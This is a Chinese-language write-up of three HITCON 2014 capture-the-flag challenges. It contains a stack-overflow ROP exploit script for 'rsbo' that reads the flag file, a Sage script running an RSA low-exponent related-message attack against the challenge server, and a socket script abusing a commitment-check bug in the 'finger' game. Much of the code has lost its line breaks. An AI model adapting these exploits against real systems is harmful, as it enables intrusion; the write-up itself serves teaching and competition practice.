0x01 rsbo
ELF 32-bit LSB executable 栈有随机化且不能执行 静态分析程序,有调试信息 read_80_bytes能读入0x80即128bytes到&v2,造成栈溢出 但输入后会进行一个混淆,所以使用0输入前0x60位,可覆盖过变量v5的位置,当随机替换v5处值与之前的0时即可退出循环
eip之后还有16bytes可用,考虑到栈不可执行,所以使用ROP方式,依次调用open,read,write来打开读取flag再写出,flag的路径在init函数中已经有了。 这边有两种思路,第一种就利用之后的16byte,因为空间很小,所以一次就调用一个函数,先调用open,之后ret回main。再次输入再次溢出时调用read,之后再次返回main,溢出后调用write 第二种就是先调用read或者read_80_bytes读入到.bss,之后ebp指向.bss进入ROP链 我是使用第二种,exp如下(没有网络通信部分)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84
| \
''' hitcon2014 rsbo exp '''
import struct
def main(): junk = struct.pack('<I', 0x00000000) * 26 bss = struct.pack('<I', 0x0804a040) read\_80\_byte = struct.pack('<I', 0x0804865c) leave_ret = struct.pack('<I', 0x0804867d) opep_pid = struct.pack('<I', 0x08048420) read_pid = struct.pack('<I', 0x080483e0) write_pid = struct.pack('<I', 0x08048450) pppr = struct.pack('<I', 0x0804879d) ppr = struct.pack('<I', 0x0804879e) buf = struct.pack('<I', 0x0804a080) read_size = struct.pack('<I', 0x10) flag_path = struct.pack('<I', 0x080487d0) fd = struct.pack('<I', 0x3)
payload1 = '' payload1 += junk
payload1 += bss
payload1 += read\_80\_byte
payload1 += leave_ret
payload1 += bss
payload1 += struct.pack('<I',0x00) *2
payload2 = ''
payload2 += struct.pack('<I', 0x00)
payload2 += opep_pid
payload2 += ppr
payload2 += flag_path payload2 += struct.pack('<I',0x00)
payload2 += read_pid payload2 += pppr payload2 += fd payload2 += buf payload2 += read_size
payload2 += write_pid payload2 += pppr payload2 += struct.pack('<I',0x1) payload2 += buf payload2 += read_size
payload = payload1 + payload2 print payload
if \_\_name\_\_ == '\_\_main\_\_': main()
|
0x02 rsaha
这个是利用RSA的低指数攻击 paperhttps://www.cs.unc.edu/~reiter/papers/1996/Eurocrypt.pdf 用到了sage http://www.sagemath.org/
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| import socket
def get_m(n,c1,c2): e=3 x = PolynomialRing(ZZ.quo(n*ZZ), 'x').gen() f=x**e-c1 g=(x+1)**e-c2 a = f b = g i = 0
while True: r = a % b if r == 0: c = rp.coeffs() return int(-pow(c\[1\], -1, n) * c\[0\]) rp = r a, b = b, r i += 1
sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) sock.connect(('54.64.40.172', 5454))
recv = sock.recv(100000) print repr(recv) n = int(recv) recv = sock.recv(100000) c = recv.split('n') c1 = int(c\[1\]) c2 = int(c\[2\])
print 'n:%d' % n print 'c1:%d' % c1 print 'c2:%d' % c2
m = get_m(n,c1,c2) print m sock.send("%dn" % m)
recv = sock.recv(100000) print repr(recv)
for i in range(9): recv = sock.recv(100000) print repr(recv) c = recv.split('n') print c n = int(c\[1\]) c1 = int(c\[2\]) c2 = int(c\[3\])
print 'n:%d' % n print 'c1:%d' % c1 print 'c2:%d' % c2
m = get_m(n,c1,c2) print 'm:%d' % m sock.send("%dn" % m)
recv = sock.recv(100000) print repr(recv)
|
0x03 finger
是ginger的简单版,因为出题人留bug了所以变简单了。。 分析程序,一开始出3个字符串,自己选一个,BOSS选一个。 三个字符串是循环取胜的关系,相当于要跟boss比猜拳。 你先选一个,然后发送这个字符串开头的16位字符串的md5给它,然后boss告诉你它选了什么,之后你再发你选了什么。比胜负。 那个验证的部分我说的简单了,ginger就是要绕过这个验证部分。 finger的话有个bug。如果你作弊了,就是前后不一的话扣1血。你赢了boss它扣1-3血,所以总是可以赢的。 下面是代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| \ ''' Created on 2014年8月17日
@author: yf '''
import socket import md5 import re import time
def get_md5(hand): return int(md5.md5(hand).hexdigest(),16)
if \_\_name\_\_ == '\_\_main\_\_': sock = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM) sock.connect(('210.71.253.236',7171))
recv = sock.recv(1024)
recv = sock.recv(1024) recv = recv.split('n') hands=\[\] print recv\[3\]\[9:\] hands = eval (recv\[3\]\[9:\]) secret = hands\[2\]+'11111111111' sock.send("1n") recv = sock.recv(1024) print recv sock.send("%dn" % get_md5(secret))
time.sleep(2) recv = sock.recv(1024) print recv his_hand = recv\[recv.find('e:')+3:recv.find('e:')+8\] print 'HIS:'+his_hand if his_hand==hands\[0\]: sock.send('111n') else: sock.send(secret+'n') recv = sock.recv(1024) print recv
while 1: time.sleep(0.5) recv = sock.recv(1024) print recv recv = recv.split('n') print recv
hands = eval (recv\[4\]\[9:\]) secret = hands\[2\]+'11111111111' sock.send("1n") recv = sock.recv(1024) print recv sock.send("%dn" % get_md5(secret)) time.sleep(2) recv = sock.recv(1024) print recv his_hand = recv\[recv.find('e:')+3:recv.find('e:')+8\] print 'HIS:'+his_hand
if his_hand==hands\[0\]: sock.send('111n') else: sock.send(secret+'n') recv = sock.recv(1024) print recv
|
Comment and share